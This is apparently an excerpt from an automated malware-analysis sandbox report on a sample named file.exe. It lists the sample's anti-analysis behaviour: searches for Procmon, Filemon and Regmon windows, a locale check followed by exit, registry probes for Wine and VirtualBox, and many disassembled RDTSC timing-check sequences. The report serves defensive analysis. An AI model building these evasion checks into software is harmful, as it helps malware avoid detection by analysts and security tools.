Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00D39860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58457

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8231D second address: F8234F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0205Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jno 00007FC7C8E02056h 0x00000013 jmp 00007FC7C8E02067h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8234F second address: F81B7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0006Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FC7C8E0006Ah 0x0000000f push dword ptr [ebp+122D0115h] 0x00000015 pushad 0x00000016 add dword ptr [ebp+122D267Ah], edi 0x0000001c jne 00007FC7C8E00075h 0x00000022 popad 0x00000023 call dword ptr [ebp+122D3681h] 0x00000029 pushad 0x0000002a mov dword ptr [ebp+122D2109h], edx 0x00000030 xor eax, eax 0x00000032 mov dword ptr [ebp+122D1AA2h], esi 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c pushad 0x0000003d mov ch, ah 0x0000003f jmp 00007FC7C8E0006Dh 0x00000044 popad 0x00000045 mov dword ptr [ebp+122D38B8h], eax 0x0000004b pushad 0x0000004c mov ebx, dword ptr [ebp+122D3820h] 0x00000052 popad 0x00000053 mov esi, 0000003Ch 0x00000058 jng 00007FC7C8E00070h 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 cmc 0x00000063 lodsw 0x00000065 sub dword ptr [ebp+122D361Fh], eax 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f pushad 0x00000070 pushad 0x00000071 mov si, 6455h 0x00000075 mov bx, ax 0x00000078 popad 0x00000079 jg 00007FC7C8E0006Ch 0x0000007f popad 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 jmp 00007FC7C8E0006Dh 0x00000089 nop 0x0000008a pushad 0x0000008b push eax 0x0000008c push edx 0x0000008d push eax 0x0000008e push edx 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81B7E second address: F81B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC4AB second address: 10FC4B5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC7C8E00066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC4B5 second address: 10FC4DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC7C8E02066h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jnl 00007FC7C8E02056h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF0CF second address: 10FF0D5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF0D5 second address: 10FF10F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c jnc 00007FC7C8E02056h 0x00000012 pop ecx 0x00000013 jmp 00007FC7C8E02060h 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF10F second address: 10FF11D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC7C8E00066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF11D second address: 10FF121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF121 second address: 10FF142 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FC7C8E00074h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF142 second address: 10FF14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF14B second address: 10FF15B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF1D7 second address: 10FF230 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jno 00007FC7C8E02056h 0x00000011 popad 0x00000012 pop edx 0x00000013 nop 0x00000014 jg 00007FC7C8E02056h 0x0000001a push 00000000h 0x0000001c call 00007FC7C8E02059h 0x00000021 push edx 0x00000022 jmp 00007FC7C8E02062h 0x00000027 pop edx 0x00000028 push eax 0x00000029 jbe 00007FC7C8E02061h 0x0000002f jmp 00007FC7C8E0205Bh 0x00000034 mov eax, dword ptr [esp+04h] 0x00000038 push eax 0x00000039 push edx 0x0000003a push ebx 0x0000003b jno 00007FC7C8E02056h 0x00000041 pop ebx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF230 second address: 10FF251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E00075h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF251 second address: 10FF255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF255 second address: 10FF25F instructions: 0x00000000 rdtsc 0x00000002 je 00007FC7C8E00066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF373 second address: 10FF393 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02068h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF469 second address: 10FF509 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 64714818h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FC7C8E00068h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 jmp 00007FC7C8E0006Ah 0x0000002e push eax 0x0000002f mov ecx, 018EB73Fh 0x00000034 pop edi 0x00000035 push 00000003h 0x00000037 jmp 00007FC7C8E00071h 0x0000003c push 00000000h 0x0000003e mov dword ptr [ebp+122D1DE6h], ebx 0x00000044 push 00000003h 0x00000046 call 00007FC7C8E00073h 0x0000004b adc cl, 00000055h 0x0000004e pop edx 0x0000004f jmp 00007FC7C8E0006Dh 0x00000054 push 897B8921h 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FC7C8E00074h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF5E6 second address: 10FF60A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jo 00007FC7C8E0205Eh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 push edi 0x0000001a pop edi 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF60A second address: 10FF614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FC7C8E00066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF614 second address: 10FF618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF618 second address: 10FF648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jnp 00007FC7C8E00068h 0x00000011 push ecx 0x00000012 jo 00007FC7C8E00066h 0x00000018 pop ecx 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FC7C8E0006Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF71E second address: 10FF722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF722 second address: 10FF72C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC7C8E00066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF72C second address: 10FF733 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11110FB second address: 11110FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EFC7 second address: 111EFF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FC7C8E0205Ch 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pop edx 0x0000001e jp 00007FC7C8E0205Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F132 second address: 111F149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FC7C8E0006Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F149 second address: 111F14E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F14E second address: 111F154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F2C0 second address: 111F2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F2C4 second address: 111F2CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F6F6 second address: 111F6FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F82F second address: 111F851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FC7C8E00078h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F851 second address: 111F859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB3C second address: 111FB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FC7C8E00066h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB49 second address: 111FB4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB4D second address: 111FB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB57 second address: 111FB5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB5B second address: 111FB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FC7C8E0006Fh 0x00000012 popad 0x00000013 popad 0x00000014 push ebx 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB82 second address: 111FB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB88 second address: 111FB92 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC7C8E00066h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FCE1 second address: 111FCE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2B3C second address: 10F2B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC7C8E00066h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120048 second address: 1120057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 je 00007FC7C8E02056h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120057 second address: 112005B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11205DC second address: 11205E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC7C8E02056h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112077B second address: 1120785 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC7C8E0006Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120785 second address: 11207B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC7C8E02063h 0x0000000c jmp 00007FC7C8E02061h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11207B3 second address: 11207C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC7C8E0006Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120926 second address: 112092A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120AB0 second address: 1120AB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120AB4 second address: 1120ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122D44 second address: 1122D71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0006Fh 0x00000007 jmp 00007FC7C8E00071h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007FC7C8E0007Ah 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122D71 second address: 1122D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112526B second address: 1125271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125271 second address: 11252A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007FC7C8E02075h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC7C8E02063h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126547 second address: 112654C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112654C second address: 1126552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126552 second address: 1126556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126556 second address: 112655A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128811 second address: 112881B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112881B second address: 1128822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128822 second address: 112883D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC7C8E00076h 0x00000008 jmp 00007FC7C8E0006Eh 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112883D second address: 1128849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC7C8E02056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC195 second address: 10EC199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC199 second address: 10EC19D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D853 second address: 112D857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D857 second address: 112D85B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D9CB second address: 112D9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D9D4 second address: 112D9E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D9E0 second address: 112DA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC7C8E00079h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DC8E second address: 112DCAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02063h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FC7C8E02058h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DDE2 second address: 112DDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DDE6 second address: 112DDEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DDEC second address: 112DDF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FF51 second address: 112FF56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FF56 second address: 112FF8A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC7C8E0006Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 338A8730h 0x00000011 mov dword ptr [ebp+122D1C1Eh], edi 0x00000017 mov si, ACC6h 0x0000001b call 00007FC7C8E00069h 0x00000020 je 00007FC7C8E00074h 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FF8A second address: 112FF8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FF8E second address: 112FFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FC7C8E00078h 0x0000000d jne 00007FC7C8E0006Ch 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push ecx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FFC3 second address: 112FFD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jg 00007FC7C8E02056h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FFD8 second address: 112FFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
